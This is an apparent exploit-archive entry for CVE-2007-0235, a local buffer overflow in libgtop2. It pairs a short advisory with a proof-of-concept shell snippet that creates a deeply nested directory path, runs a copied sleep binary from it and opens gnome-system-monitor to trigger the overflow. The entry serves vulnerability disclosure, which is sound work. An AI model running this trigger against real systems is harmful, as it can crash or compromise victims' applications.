Libgtop2 Library - Local Buffer Overflow

Author: Liu Qishuai
type: dos
platform: linux
port: 
date_added: 2007-01-15 
date_updated: 2013-11-06 
verified: 1 
codes: CVE-2007-0235;OSVDB-32815 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/22054/info

The 'libgtop2' library is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying into an insufficiently sized memory buffer.

An attacker may exploit this issue by enticing victims into viewing a maliciously crafted system process with an application that uses the affected library.

Successful exploits may cause arbitrary code to run with the privileges of the victim. Failed exploit attempts will likely cause denial-of-service conditions.

Versions prior to libgtop2 2.14.6 are reported vulnerable.

export dir=$(perl -e " print 's/'x1000;")
mkdir -p $dir
cp /bin/sleep $dir
$dir/sleep 100 &
gnome-system-monitor